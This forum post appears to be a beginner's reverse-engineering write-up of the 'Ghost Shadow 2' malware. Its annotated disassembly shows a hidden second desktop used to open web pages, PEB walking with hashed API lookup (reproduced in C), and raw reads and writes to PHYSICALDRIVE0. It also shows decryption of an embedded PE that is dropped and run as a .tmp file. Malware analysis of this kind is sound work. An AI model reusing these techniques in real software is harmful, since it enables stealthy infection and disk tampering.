工具:ida,od,msdn,ie,计算器
名称:鬼影2
内容:pe结构,api,和常见的系统知识。。。。。
感谢:论坛,x-man(一个经常为大家上传病毒样本的好人)以及群主。。
上传:样本,分析笔记(不是很详细),idb(这个还相对详细),释放源文件以及脱壳后的文件
*************************************************


菜菜简单析毒:(我附上所有的东西。。俺分析的肯定是不足的,花了2天的时间,但如果想把这个弄好,对于我还得很多天,还得努力。所以错误肯定是有的,但我学习为主,毕竟这方面,我仅仅是爱好。。。

概要:
主体:释放一个文件
释放文件: 真正作用的部分看后面
本次分析只是 清明节时,无聊干得,还是有很多地方没弄懂的。。抱着学习的态度来的,笔记就发上来了,目的只为理解程序的处理思路。
释放文件部分写的不那么详细了,一方面太多了,另一方面能力有限。。。(本来考虑发不发上来的,算了,发上来给像我一样的菜菜们。。。呵呵。。所有详细东西看idb)

附:具体的东西 都会通过附件上传。。。给想看的人,比如像我一样的菜菜。。(原样本都在后面上传了。。给想练的人。。)
**********************************
内容有点多,贴出来后,看的会很不舒服。。所以只是贴出了程序的流程部分代码,还有具体的如果贴出来就太长了,想看的看上传的两份idb。。。呵呵。。。
**********************************

部分分析如下:

81 EC BC 00 00 00 sub     esp, 0BCh
.text:00401CC6 56                push    esi
.text:00401CC7 57                push    edi
.text:00401CC8 33 F6             xor     esi, esi
.text:00401CCA B9 26 00 00 00    mov     ecx, 26h
.text:00401CCF 33 C0             xor     eax, eax
.text:00401CD1 8D 7C 24 10       lea     edi, [esp+0C4h+VersionInformation.dwMajorVersion]
.text:00401CD5 89 74 24 0C       mov     [esp+0C4h+VersionInformation.dwOSVersionInfoSize], esi
.text:00401CD9 89 74 24 08       mov     [esp+0C4h+ThreadId], esi
.text:00401CDD F3 AB             rep stosd
.text:00401CDF FF 15 F4 60 40 00 call    ds:GetInputState
.text:00401CE5 56                push    esi                   ; lParam
.text:00401CE6 56                push    esi                   ; wParam
.text:00401CE7 56                push    esi                   ; Msg
.text:00401CE8 FF 15 38 60 40 00 call    ds:GetCurrentThreadId
.text:00401CEE 50                push    eax                   ; idThread
.text:00401CEF FF 15 F0 60 40 00 call    ds:PostThreadMessageA
.text:00401CF5 56                push    esi                   ; wMsgFilterMax
.text:00401CF6 56                push    esi                   ; wMsgFilterMin
.text:00401CF7 8D 84 24 B0 00 00+lea     eax, [esp+0CCh+Msg]
.text:00401CFE 56                push    esi                   ; hWnd
.text:00401CFF 50                push    eax                   ; lpMsg
.text:00401D00 FF 15 FC 60 40 00 call    ds:GetMessageA
.text:00401D06 E8 45 FD FF FF    call    sub_401A50      ;关键call
**********************
上面的部分很简单,有些调用没什么用感觉,如果谁知道,告诉菜菜。。

**********************
00401A8E 6A 00             push    0                     ; lpsa
.text:00401A90 68 00 00 00 10    push    10000000h             ; dwDesiredAccess
.text:00401A95 6A 01             push    1                     ; dwFlags
.text:00401A97 66 AB             stosw
.text:00401A99 6A 00             push    0                     ; pDevmode
.text:00401A9B 8D 4C 24 24       lea     ecx, [esp+23Ch+szDesktop]
.text:00401A9F 6A 00             push    0                     ; lpszDevice
.text:00401AA1 51                push    ecx                   ; lpszDesktop
.text:00401AA2 89 54 24 34       mov     [esp+244h+var_210], edx
.text:00401AA6 AA                stosb
.text:00401AA7 FF 15 00 61 40 00 call    ds:CreateDesktopA     ; 创建第二桌面,至于为什么下面可以看到
.text:00401AAD 8B F0             mov     esi, eax
.text:00401AAF 89 74 24 10       mov     [esp+22Ch+hDesktop], esi
.text:00401AB3 FF 15 38 60 40 00 call    ds:GetCurrentThreadId
.text:00401AB9 50                push    eax                   ; dwThreadId
.text:00401ABA FF 15 F8 60 40 00 call    ds:GetThreadDesktop
.text:00401AC0 56                push    esi                   ; hDesktop
.text:00401AC1 FF 15 EC 60 40 00 call    ds:SetThreadDesktop   ; 上面的操作就是把当前的线程附加到自己创建的桌面上运行
.text:00401AC7 8B 35 0C 61 40 00 mov     esi, ds:DeleteUrlCacheEntry

**********************
检重点的说:
看这个call
**********************
E8 6B FD FF FF    call    sub_401910                           ;关键跟进,看看什么行为
.text:00401BA5 83 C4 08          add     esp, 8
.text:00401BA8 8B F0             mov     esi, eax
.text:00401BAA 8D 84 24 28 01 00+lea     eax, [esp+22Ch+FileName]
.text:00401BB1 50                push    eax                   ; lpFileName
.text:00401BB2 6A 00             push    0                     ; nDefault
.text:00401BB4 68 74 EB 40 00    push    offset aPopspacingdela ; "PopSpacingDelayTime"
.text:00401BB9 68 94 EB 40 00    push    offset AppName        ; "Pop"
.text:00401BBE FF D5             call    ebp ; GetPrivateProfileIntA
.text:00401BC0 8D 04 80          lea     eax, [eax+eax*4]
.text:00401BC3 8D 04 80          lea     eax, [eax+eax*4]
.text:00401BC6 8D 0C 80          lea     ecx, [eax+eax*4]
.text:00401BC9 C1 E1 03          shl     ecx, 3
.text:00401BCC 51                push    ecx                   ; dwMilliseconds
.text:00401BCD FF 15 34 60 40 00 call    ds:Sleep
.text:00401BD3 6A 00             push    0                     ; uExitCode
.text:00401BD5 56                push    esi                   ; hProcess
.text:00401BD6 FF 15 28 60 40 00 call    ds:TerminateProcess
.text:00401BDC
.text:00401BDC                   loc_401BDC:                   ; CODE XREF: sub_401A50+144_j
.text:00401BDC 83 FB 64          cmp     ebx, 64h
.text:00401BDF 0F 8C 4E FF FF FF jl      loc_401B33            ; 这里就体现了,一系列访问。。
.text:00401BDF                                                 ; 这些地方都比较明显,一看就基本知道
.text:00401BDF                                                 ; 但他用虚拟桌面进行访问,还是可以学习到东东的

**************************
跟进call
*************************
.text:00401A00 51                push    ecx
.text:00401A01 68 38 EB 40 00    push    offset aSS            ; "\"%s\" \"%s\""
.text:00401A06 52                push    edx                   ; LPSTR
.text:00401A07 FF 15 E8 60 40 00 call    ds:wsprintfA          ; 格式化要访问的东西和地址,od跑起来就看得到
.text:00401A0D 83 C4 10          add     esp, 10h
.text:00401A10 8D 44 24 10       lea     eax, [esp+364h+ProcessInformation]
.text:00401A14 8D 4C 24 20       lea     ecx, [esp+364h+StartupInfo]
.text:00401A18 50                push    eax                   ; lpProcessInformation
.text:00401A19 51                push    ecx                   ; lpStartupInfo
.text:00401A1A 53                push    ebx                   ; lpCurrentDirectory
.text:00401A1B 53                push    ebx                   ; lpEnvironment
.text:00401A1C 68 00 00 00 04    push    4000000h              ; dwCreationFlags
.text:00401A21 53                push    ebx                   ; bInheritHandles
.text:00401A22 53                push    ebx                   ; lpThreadAttributes
.text:00401A23 8D 94 24 80 01 00+lea     edx, [esp+380h+CommandLine]
.text:00401A2A 53                push    ebx                   ; lpProcessAttributes
.text:00401A2B 52                push    edx                   ; lpCommandLine
.text:00401A2C 53                push    ebx                   ; lpApplicationName
.text:00401A2D FF 15 14 60 40 00 call    ds:CreateProcessA     ; 上面一系列的操作就是,在自己创建的桌面上
.text:00401A2D                                                 ; 创建进程,然后访问偶们列表中的网点

看图  当执行进程时:
 
下面的那个网页会不断地下载,变化




**************************
这里下载的东西只是放着,后面我们就看到怎么用
**************************

很简单的东西ida上有详细解释,只看重点

**************************
8D 54 24 08       lea     edx, [esp+0C4h+ThreadId]
.text:00401D50 52                push    edx                   ; lpThreadId
.text:00401D51 56                push    esi                   ; dwCreationFlags
.text:00401D52 56                push    esi                   ; lpParameter
.text:00401D53 68 70 14 40 00    push    offset StartAddress   ; lpStartAddress
.text:00401D58 56                push    esi                   ; dwStackSize
.text:00401D59 56                push    esi                   ; lpThreadAttributes
.text:00401D5A FF 15 50 60 40 00 call    ds:CreateThread
.text:00401D60 8B F0             mov     esi, eax
.text:00401D62 6A FF             push    0FFFFFFFFh            ; dwMilliseconds
.text:00401D64 56                push    esi                   ; hHandle
.text:00401D65 FF 15 4C 60 40 00 call    ds:WaitForSingleObject
.text:00401D6B 56                push    esi                   ; hObject
.text:00401D6C FF 15 00 60 40 00 call    ds:CloseHandle
.text:00401D72 E8 89 FE FF FF    call    sub_401C00
.text:00401D77 5F                pop     edi
.text:00401D78 33 C0             xor     eax, eax

******************************
跟进线程处理的地方
*****************************

text:004015BD B0 6C             mov     al, 6Ch
.text:004015BF 68 92 41 86 2E    push    2E864192h
.text:004015C4 C6 44 24 36 2E    mov     [esp+4ACh+var_476], 2Eh
.text:004015C9 C6 44 24 37 64    mov     [esp+4ACh+var_475], 64h
.text:004015CE 88 44 24 38       mov     [esp+4ACh+var_474], al
.text:004015D2 88 44 24 39       mov     [esp+4ACh+var_473], al
.text:004015D6 88 5C 24 3A       mov     [esp+4ACh+var_472], bl
.text:004015DA E8 21 FA FF FF    call    sub_401000            ; 找kernel模块基地址
.text:004015DF 50                push    eax
.text:004015E0 E8 4B FA FF FF    call    sub_401030            ; 找到2E864192h 对应的项地址,用OD动态解析后其实就是
.text:004015E0                                                 ; 7C801D77 :loadLibrary
.text:004015E5 83 C4 08          add     esp, 8
.text:004015E8 8D 4C 24 2C       lea     ecx, [esp+4A8h+var_47C] ; msvcrt.dll
.text:004015EC A3 64 10 41 00    mov     AdrLoadLibrary, eax
.text:004015F1 68 0B 34 9B FD    push    0FD9B340Bh
.text:004015F6 51                push    ecx
.text:004015F7 FF D0             call    eax                   ; 加载msvcrt.dll
.text:004015F9 50                push    eax
.text:004015FA E8 31 FA FF FF    call    sub_401030            ; 同样找msvcrt.dll中0fd9b340bh对应项数的地址,用OD动态解析后就是:
.text:004015FA                                                 ; 77BFC407 malloc
.text:004015FF 83 C4 08          add     esp, 8


***********************
跟进一个call    sub_401000            
***********************


                  var_4= dword ptr -4
.text:00401000
.text:00401000 55                push    ebp
.text:00401001 8B EC             mov     ebp, esp
.text:00401003 51                push    ecx
.text:00401004 53                push    ebx
.text:00401005 33 DB             xor     ebx, ebx
.text:00401007 64 8B 1D 30 00 00+mov     ebx, large fs:30h     ; PEB结构地址(进程结构)
.text:00401007 00                                              ;
.text:0040100E 8B 5B 0C          mov     ebx, [ebx+0Ch]        ; 得到PEB_LDR_DATA结构地址
.text:00401011 8B 5B 14          mov     ebx, [ebx+14h]        ; : _LIST_ENTRY
.text:00401014 8B 1B             mov     ebx, [ebx]            ; 如果想详细了解,后面会给解释
.text:00401016 8B 1B             mov     ebx, [ebx]
.text:00401018 8B 5B 10          mov     ebx, [ebx+10h]
.text:0040101B 89 5D FC          mov     [ebp+var_4], ebx
.text:0040101E 8B 45 FC          mov     eax, [ebp+var_4]      ; 找到kernel.dll 基质返回
.text:00401021 5B                pop     ebx
.text:00401022 8B E5             mov     esp, ebp
.text:00401024 5D                pop     ebp
.text:00401025 C3                retn
.text:00401025                   sub_401000 endp


**********************
给出解释
#include "stdafx.h"
#include "windows.h"
#include "winsvc.h"

int _tmain(int argc, _TCHAR* argv[])
{
  void *PEB = NULL,
    *Ldr = NULL,
    *Flink = NULL,
    *p = NULL,
    *BaseAddress = NULL,
    *FullDllName = NULL;

  __asm
  {
    mov eax,fs:[0x30]
    mov PEB,eax
  }
  Ldr = *( ( void ** )( ( unsigned char * )PEB+0x0c ) );
  Flink = *( ( void ** )( ( unsigned char * )Ldr+ 0x14 ) );
  p = Flink;
  do
  {
    BaseAddress = *( ( void ** )( ( unsigned char * )p+ 0x10 ) );
    printf("BaseAddress is %x\n",BaseAddress);
    p = *( ( void ** )p);
  }
  while ( Flink != p );
  getchar();
  return 0;
}
我们看输出就可以知道了:他加载的顺序:
  
顺序Ntdll.dll,kernel.dll
明白没,呵呵 很简单吧。。。还可以直接windbg 查看。。。


跟进 第二个call    sub_401030
55                push    ebp
.text:00401031 8B EC             mov     ebp, esp
.text:00401033 83 EC 18          sub     esp, 18h
.text:00401036 53                push    ebx
.text:00401037 56                push    esi
.text:00401038 8B 75 08          mov     esi, [ebp+kernelbase]
.text:0040103B 57                push    edi
.text:0040103C 8B 46 3C          mov     eax, [esi+3Ch]        ; e_lfanew
.text:0040103F 8B 44 30 78       mov     eax, [eax+esi+78h]    ; DataDirectory[0] Export Table
.text:00401043 03 C6             add     eax, esi              ; Ex table vA
.text:00401045 8B 48 1C          mov     ecx, [eax+1Ch]        ; AddressOfFunctions
.text:00401048 8B 50 24          mov     edx, [eax+24h]        ; AddressOfNameOrdinals
.text:0040104B 8B 58 18          mov     ebx, [eax+18h]        ; NumberOfNames
.text:0040104E 03 CE             add     ecx, esi
.text:00401050 89 4D E8          mov     [ebp+AddrFunctioinArray], ecx
.text:00401053 8B 48 20          mov     ecx, [eax+20h]        ; AddressOfNames
.text:00401056 03 CE             add     ecx, esi
.text:00401058 03 D6             add     edx, esi
.text:0040105A 85 DB             test    ebx, ebx
.text:0040105C 89 55 EC          mov     [ebp+addrNameOridArray], edx
.text:0040105F 0F 86 8F 00 00 00 jbe     loc_4010F4
.text:00401065 8D 04 99          lea     eax, [ecx+ebx*4]      ; Names数组中地位到最后一项的后面
.text:00401068 EB 03             jmp     short loc_40106D
.text:0040106A                   ; ----------------------------------

。。。。。
D                   loc_4010FD:                   ; CODE XREF: sub_401030+C2j
.text:004010FD 8B 55 EC          mov     edx, [ebp+addrNameOridArray] ; 找到我们输入的项数以后 取出地址
.text:00401100 8B 45 E8          mov     eax, [ebp+AddrFunctioinArray]
.text:00401103 33 C9             xor     ecx, ecx
.text:00401105 5F                pop     edi
.text:00401106 66 8B 0C 5A       mov     cx, [edx+ebx*2]
.text:0040110A 8B 04 88          mov     eax, [eax+ecx*4]
.text:0040110D 03 C6             add     eax, esi          ;存放地址返回

都是对pe文件的操作。。。多看会,有好处,你懂的。。。。



C A3 64 10 41 00    mov     AdrLoadLibrary, eax
.text:004015F1 68 0B 34 9B FD    push    0FD9B340Bh
.text:004015F6 51                push    ecx
.text:004015F7 FF D0             call    eax                   ; 加载msvcrt.dll
.text:004015F9 50                push    eax
.text:004015FA E8 31 FA FF FF    call    sub_401030            ; 同样找msvcrt.dll中0fd9b340bh对应项数的地址,用OD动态解析后就是:
.text:004015FA                                                 ; 77BFC407 malloc
.text:004015FF 83 C4 08          add     esp, 8
.text:00401602 8D 94 24 A0 00 00+lea     edx, [esp+4A8h+CurrentDeskTopPath]
.text:00401609 A3 68 10 41 00    mov     addrMalloc, eax
.text:0040160E 53                push    ebx                   ; fCreate
.text:0040160F 6A 37             push    37h                   ; csidl
.text:00401611 52                push    edx                   ; pszPath
.text:00401612 53                push    ebx                   ; hwnd
.text:00401613 FF 15 E0 60 40 00 call    ds:SHGetSpecialFolderPathA ; 获取当前桌面的目录路劲
.text:00401619 6A 78             push    78h
.text:0040161B 6A 63             push    63h
.text:0040161D E8 FE FA FF FF    call    sub_401120            ; 随机数生成函数
.text:00401622 83 C4 08          add     esp, 8


看看此call    sub_401120
.text:00401161 E8 9A FE FF FF    call    sub_401000            ; 获取kernel模块基地址
.text:00401166 50                push    eax
.text:00401167 E8 C4 FE FF FF    call    sub_401030            ; 获取LoadLibrary地址
.text:0040116C 83 C4 08          add     esp, 8
.text:0040116F A3 64 10 41 00    mov     AdrLoadLibrary, eax
.text:00401174 68 A0 7D 33 8A    push    8A337DA0h
.text:00401179 E8 82 FE FF FF    call    sub_401000
.text:0040117E 50                push    eax
.text:0040117F E8 AC FE FF FF    call    sub_401030            ; 同样的方式获取GetTickCount地址
.text:00401184 83 C4 08          add     esp, 8
.text:00401187 A3 60 10 41 00    mov     addrGetTickCount, eax
.text:0040118C 8D 44 24 08       lea     eax, [esp+14h+msvcrt.dll]
.text:00401190 68 F2 B0 9B 0C    push    0C9BB0F2h
.text:00401195 50                push    eax
.text:00401196 FF 15 64 10 41 00 call    AdrLoadLibrary
.text:0040119C 50                push    eax
.text:0040119D E8 8E FE FF FF    call    sub_401030            ; 获取0C9BB0f2h标志在Msrcvt模块中对应的函数地址
.text:0040119D                                                 ; 77C071D3:Rand函数
.text:004011A2 83 C4 08          add     esp, 8
.text:004011A5 8D 4C 24 08       lea     ecx, [esp+10h+var_8]
.text:004011A9 A3 58 10 41 00    mov     addrRand, eax
.text:004011AE 68 79 79 D8 4D    push    4DD87979h
.text:004011B3 51                push    ecx
.text:004011B4 FF 15 64 10 41 00 call    AdrLoadLibrary
.text:004011BA 50                push    eax
.text:004011BB E8 70 FE FF FF    call    sub_401030            ; 同样获取msvcrt中 sRand函数地址
.text:004011C0 8B 7C 24 20       mov     edi, [esp+1Ch+arg_0]
.text:004011C4 8B 74 24 24       mov     esi, [esp+1Ch+arg_4]
.text:004011C8 83 C4 08          add     esp, 8
.text:004011CB 3B FE             cmp     edi, esi
.text:004011CD A3 5C 10 41 00    mov     addrsRand, eax
.text:004011D2 75 08             jnz     short loc_4011DC
.text:004011D4 8B C7             mov     eax, edi
.text:004011D6 5F                pop     edi
.text:004011D7 5E                pop     esi
.text:004011D8 83 C4 0C          add     esp, 0Ch
.text:004011DB C3                retn
.text:004011DC                   ; ---------------------------------------------------------------------------
.text:004011DC
.text:004011DC                   loc_4011DC:                   ; CODE XREF: sub_401120+B2j
.text:004011DC FF 15 60 10 41 00 call    addrGetTickCount
.text:004011E2 50                push    eax
.text:004011E3 FF 15 5C 10 41 00 call    addrsRand
.text:004011E9 83 C4 04          add     esp, 4
.text:004011EC FF 15 58 10 41 00 call    addrRand
.text:004011F2 83 C0 03          add     eax, 3                ; 利用时间随机生成数,很通用的手法,呵呵。。
.text:004011F5 2B F7             sub     esi, edi
.text:004011F7 99                cdq
.text:004011F8 46                inc     esi
.text:004011F9 F7 FE             idiv    esi
.text:004011FB 8B C2             mov     eax, edx
.text:004011FD 03 C7             add     eax, edi
.text:004011FF 5F                pop     edi
.text:00401200 5E                pop     esi
.text:00401201 83 C4 0C          add     esp, 0Ch
.text:00401204 C3                retn
.text:00401204                   sub_401120 endp
.text:00401204


.text:0040161D E8 FE FA FF FF    call    sub_401120            ; 随机数生成函数
.text:00401622 83 C4 08          add     esp, 8
.text:00401625 50                push    eax
.text:00401626 6A 79             push    79h
.text:00401628 6A 62             push    62h
.text:0040162A E8 F1 FA FF FF    call    sub_401120
.text:0040162F 83 C4 08          add     esp, 8
.text:00401632 50                push    eax
.text:00401633 6A 7A             push    7Ah
.text:00401635 6A 61             push    61h
.text:00401637 E8 E4 FA FF FF    call    sub_401120            ; 生成三个随机数
.text:0040163C 83 C4 08          add     esp, 8
.text:0040163F 8D 4C 24 40       lea     ecx, [esp+4B0h+var_470] ; 数据:堆栈地址=013BFB48, (ASCII "\%s%c%c%c.tmp")
.text:0040163F                                                 ;
.text:0040163F                                                 ;
.text:00401643 8D 94 24 AC 01 00+lea     edx, [esp+4B0h+tmpString2] ; 后面格式化保存地方
.text:0040164A 50                push    eax
.text:0040164B 8D 44 24 1C       lea     eax, [esp+4B4h+var_498] ; TVC 前面局部变量
.text:0040164F 50                push    eax
.text:00401650 51                push    ecx                   ; LPCSTR
.text:00401651 52                push    edx                   ; LPSTR
.text:00401652 FF 15 E8 60 40 00 call    ds:wsprintfA          ; 格式化 生成 013BFCB4  ASCII "\TVClhe.tmp" 后面三个数
.text:00401652                                                 ; 格式化为字符



8C 24 A0 00 00+lea     ecx, [esp+4A8h+CurrentDeskTopPath]
.text:00401669 50                push    eax                   ; lpString2
.text:0040166A 51                push    ecx                   ; lpString1
.text:0040166B FF 15 1C 60 40 00 call    ds:lstrcatA           ; 和桌面路径结合生成路径
.text:0040166B                                                 ; "C:\Documents and Settings
.text:0040166B                                                 ; \All Users\Documents\My Videos\TVClhe.tmp"
.text:0040166B                                                 ;
.text:0040166B                                                 ;
.text:00401671 68 00 78 00 00    push    7800h                 ; _DWORD
.text:00401676 FF 15 68 10 41 00 call    addrMalloc
.text:0040167C 83 C4 04          add     esp, 4
.text:0040167F 8B E8             mov     ebp, eax
.text:00401681 B9 00 1E 00 00    mov     ecx, 1E00h
.text:00401686 33 C0             xor     eax, eax
.text:00401688 53                push    ebx                   ; hTemplateFile
.text:00401689 68 80 00 00 10    push    10000080h             ; dwFlagsAndAttributes
.text:0040168E 6A 03             push    3                     ; dwCreationDisposition
.text:00401690 53                push    ebx                   ; lpSecurityAttributes
.text:00401691 8B FD             mov     edi, ebp
.text:00401693 6A 03             push    3                     ; dwShareMode
.text:00401695 8D 54 24 2C       lea     edx, [esp+4BCh+FileName]
.text:00401699 68 00 00 00 C0    push    0C0000000h            ; dwDesiredAccess
.text:0040169E F3 AB             rep stosd
.text:004016A0 52                push    edx                   ; lpFileName
.text:004016A1 FF 15 10 60 40 00 call    ds:CreateFileA        ; 打开物理设备PHYSICALDRIVE0
.text:004016A1                                                 ; :注释 一般\\.\PHYSICALDRIVE0可以表示
.text:004016A1                                                 ; 主机硬盘,通过createfile,和readfile可以读取信息
.text:004016A1                                                 ; 又嗦了一下

不解释
.text:004016B0 0F 84 40 02 00 00 jz      loc_4018F6
.text:004016B6 53                push    ebx                   ; dwMoveMethod
.text:004016B7 53                push    ebx                   ; lpDistanceToMoveHigh
.text:004016B8 53                push    ebx                   ; lDistanceToMove
.text:004016B9 56                push    esi                   ; hFile
.text:004016BA FF 15 0C 60 40 00 call    ds:SetFilePointer     ; 开始处进行准备定位读取
.text:004016C0 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:004016C3 0F 84 26 02 00 00 jz      loc_4018EF
.text:004016C9 8D 44 24 14       lea     eax, [esp+4A8h+NumberOfBytesRead]
.text:004016CD 53                push    ebx                   ; lpOverlapped
.text:004016CE 50                push    eax                   ; lpNumberOfBytesRead
.text:004016CF 68 00 78 00 00    push    7800h                 ; nNumberOfBytesToRead
.text:004016D4 55                push    ebp                   ; lpBuffer
.text:004016D5 56                push    esi                   ; hFile
.text:004016D6 FF 15 08 60 40 00 call    ds:ReadFile           ; 同样读取7800h 到开辟的空间
.text:004016DC 8A 4D 0A          mov     cl, [ebp+0Ah]
.text:004016DF A0 3A 70 40 00    mov     al, byte ptr word_40703A
.text:004016E4 3A C8             cmp     cl, al
.text:004016E6 75 1D             jnz     short loc_401705      ; 取硬盘信息中第oah字节,比较
.text:004016E6                                                 ; 一般不相等,先看看后面再说
.text:004016E8 8A 55 0B          mov     dl, [ebp+0Bh]
.text:004016EB A0 3B 70 40 00    mov     al, byte ptr word_40703A+1
.text:004016F0 3A D0             cmp     dl, al
.text:004016F2 75 11             jnz     short loc_401705
.text:004016F4 8A 45 0C          mov     al, [ebp+0Ch]


很明了不解释
.text:0040170A                   loc_40170A:                   ; CODE XREF: StartAddress+2BCj
.text:0040170A 8A 86 30 70 40 00 mov     al, byte_407030[esi]
.text:00401710 3A C3             cmp     al, bl
.text:00401712 74 11             jz      short loc_401725
.text:00401714 6A 69             push    69h
.text:00401716 50                push    eax
.text:00401717 E8 24 FB FF FF    call    sub_401240            ; 相当于每次循环右移动9位,相当于解密数据,
.text:00401717                                                 ; 后面口以看到,慢慢来哈
.text:0040171C 83 C4 08          add     esp, 8
.text:0040171F 88 86 30 70 40 00 mov     byte_407030[esi], al  ; 比较原程序中的数据如果不是0 则处理一下放入原来位置处
.text:00401725
.text:00401725                   loc_401725:                   ; CODE XREF: StartAddress+2A2j
.text:00401725 46                inc     esi
.text:00401726 81 FE 00 78 00 00 cmp     esi, 7800h
.text:0040172C 72 DC             jb      short loc_40170A
.text:0040172E BF 00 04 00 00    mov     edi, 400h
.text:00401733
.text:00401733                   loc_401733:                   ; CODE XREF: StartAddress+2DDj
.text:00401733 BA 34 EB 40 00    mov     edx, offset aMz       ; 解密数据后,相当于一个pe二进制数据,下面寻找pe头
.text:00401738 8D 8F 30 70 40 00 lea     ecx, byte_407030[edi]
.text:0040173E 66 8B 02          mov     ax, [edx]
.text:00401741 66 3B 01          cmp     ax, [ecx]
.text:00401744 74 09             jz      short loc_40174F


将原来exe文件中的pe二进制写入tmp文件,最后的行为都是通过tmp文件产生的




xt:0040177F 53                push    ebx                   ; lpOverlapped
.text:00401780 52                push    edx                   ; lpNumberOfBytesWritten
.text:00401781 8D 87 30 70 40 00 lea     eax, byte_407030[edi]
.text:00401787 68 00 6E 00 00    push    6E00h                 ; nNumberOfBytesToWrite
.text:0040178C 50                push    eax                   ; lpBuffer
.text:0040178D 56                push    esi                   ; hFile
.text:0040178E FF 15 04 60 40 00 call    ds:WriteFile          ; 将得到的二进制pe数据写入TVClhe.tmp文件中去
.text:00401794 56                push    esi                   ; hObject
.text:00401795 FF 15 00 60 40 00 call    ds:CloseHandle
ext:004017B6 74 11             jz      short loc_4017C9
.text:004017B8 6A 69             push    69h
.text:004017BA 50                push    eax
.text:004017BB E8 50 FA FF FF    call    sub_401210            ; 此处向左循环移位69h,还原数据
.text:004017C0 83 C4 08          add     esp, 8
.text:004017C3 88 86 30 70 40 00 mov     byte_407030[esi], al
.text:004017C9



text:004017EA 53                push    ebx                   ; lDistanceToMove
.text:004017EB 56                push    esi                   ; hFile
.text:004017EC FF 15 0C 60 40 00 call    ds:SetFilePointer     ; 定位磁盘中的位置准备写入。。太邪恶了
.text:004017F2 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:004017F5 74 17             jz      short loc_40180E
.text:004017F7 8D 4C 24 14       lea     ecx, [esp+4A8h+NumberOfBytesRead]
.text:004017FB 53                push    ebx                   ; lpOverlapped
.text:004017FC 51                push    ecx                   ; lpNumberOfBytesWritten
.text:004017FD 68 00 78 00 00    push    7800h                 ; nNumberOfBytesToWrite
.text:00401802 68 30 70 40 00    push    offset byte_407030    ; lpBuffer
.text:00401807 56                push    esi                   ; hFile
.text:00401808 FF 15 04 60 40 00 call    ds:WriteFile          ; 写入7800h字节 估计就是破坏磁盘系统,不敢跑,其实不是
.text:00401808                                                 ; 后面就可以看到了,他还有其他作用
.text:0040180E
.text:0040180E                   loc_40180E:                   ; CODE XREF: StartAddress+385j



.text:00401818 E8 79 05 00 00    call    sub_401D96            ; 释放空间
.text:0040181D 83 C4 04          add     esp, 4
.text:00401820 8D 54 24 18       lea     edx, [esp+4A8h+FileName]
.text:00401824 53                push    ebx                   ; hTemplateFile
.text:00401825 68 80 00 00 10    push    10000080h             ; dwFlagsAndAttributes
.text:0040182A 6A 03             push    3                     ; dwCreationDisposition
.text:0040182C 53                push    ebx                   ; lpSecurityAttributes
.text:0040182D 6A 03             push    3                     ; dwShareMode
.text:0040182F 68 00 00 00 C0    push    0C0000000h            ; dwDesiredAccess
.text:00401834 52                push    edx                   ; lpFileName
.text:00401835 FF 15 10 60 40 00 call    ds:CreateFileA        ; 继续打开磁盘
.text:0040183B 8B F0             mov     esi, eax
.text:0040183D 83 FE FF          cmp     esi, 0FFFFFFFFh
.text:00401840 74 2C             jz      short loc_40186E
.text:00401842 53                push    ebx                   ; dwMoveMethod
.text:00401843 53                push    ebx                   ; lpDistanceToMoveHigh
.text:00401844 53                push    ebx                   ; lDistanceToMove
.text:00401845 56                push    esi                   ; hFile
.text:00401846 FF 15 0C 60 40 00 call    ds:SetFilePointer     ; 定位开始位置,begin
.text:0040184C 83 F8 FF          cmp     eax, 0FFFFFFFFh
.text:0040184F 74 1D             jz      short loc_40186E
.text:00401851 8D 44 24 14       lea     eax, [esp+4A8h+NumberOfBytesRead]
.text:00401855 53                push    ebx                   ; lpOverlapped
.text:00401856 50                push    eax                   ; lpNumberOfBytesRead
.text:00401857 8D 8C 24 B0 02 00+lea     ecx, [esp+4B0h+Buffer]
.text:0040185E 68 00 02 00 00    push    200h                  ; nNumberOfBytesToRead
.text:00401863 51                push    ecx                   ; lpBuffer
.text:00401864 56                push    esi                   ; hFile
.text:00401865 FF 15 08 60 40 00 call    ds:ReadFile           ; 读出512个字节,就是刚才写入的
.text:0040186B 56                push    esi                   ; hObject
.text:0040186C FF D7             call    edi ; CloseHandle
.text:0040186E 80 BC 24 A8 02 00+cmp     [esp+4A8h+Buffer], 72h ; 此处检验刚才写入磁盘中的数据是否成功
.text:0040186E 00 72                                           ; 有张图片可以看一下,由于磁盘中的数据,
.text:0040186E                                                 ; 本省就是从exe中的,直接计算出exe地址
.text:0040186E                                                 ; 为0x004070a3看数据就明白了
.text:00401876 75 7E             jnz     short loc_4018F6
.text:00401878 80 BC 24 A9 02 00+cmp     [esp+4A8h+var_1FF], 3


检验开始(在后面也会遇到,就是tmp文件中也会检测)
看图片:
 


&&&
:004018A7 52                push    edx                   ; lpStartupInfo
.text:004018A8 C7 44 24 60 44 00+mov     [esp+4ACh+StartupInfo.cb], 44h
.text:004018B0 FF 15 18 60 40 00 call    ds:GetStartupInfoA
.text:004018B6 8D 44 24 4C       lea     eax, [esp+4A8h+ProcessInformation]
.text:004018BA 8D 4C 24 5C       lea     ecx, [esp+4A8h+StartupInfo]
.text:004018BE 50                push    eax                   ; lpProcessInformation
.text:004018BF 51                push    ecx                   ; lpStartupInfo
.text:004018C0 53                push    ebx                   ; lpCurrentDirectory
.text:004018C1 53                push    ebx                   ; lpEnvironment
.text:004018C2 53                push    ebx                   ; dwCreationFlags
.text:004018C3 53                push    ebx                   ; bInheritHandles
.text:004018C4 53                push    ebx                   ; lpThreadAttributes
.text:004018C5 8D 94 24 BC 00 00+lea     edx, [esp+4C4h+CurrentDeskTopPath]
.text:004018CC 53                push    ebx                   ; lpProcessAttributes
.text:004018CD 52                push    edx                   ; lpCommandLine
.text:004018CE 53                push    ebx                   ; lpApplicationName
.text:004018CF 66 89 9C 24 B4 00+mov     [esp+4D0h+StartupInfo.wShowWindow], bx
.text:004018D7 FF 15 14 60 40 00 call    ds:CreateProcessA     ; 如果已经检验成功,就执行刚才生成的刚才的那个
.text:004018D7                                                 ;  桌面文件进程 以.tmp 文件执行进程,第一次听说过。。
.text:004018D7                                                 ; 但却是是这样运行的
.text:004018DD 5F                pop     edi
.text:004018DE 5E                pop     esi


以上就是主体:详细可以看ida pack。。


将后缀tmp 改为exe  脱壳 进行调试:
接着看看 释放文件:(只看重要部分,详细的写不起。。。见idb)
.text:0040AA30 E8 5B 04 00 00    call    sub_40AE90            ; 直接自己装载自己要用的函数地址
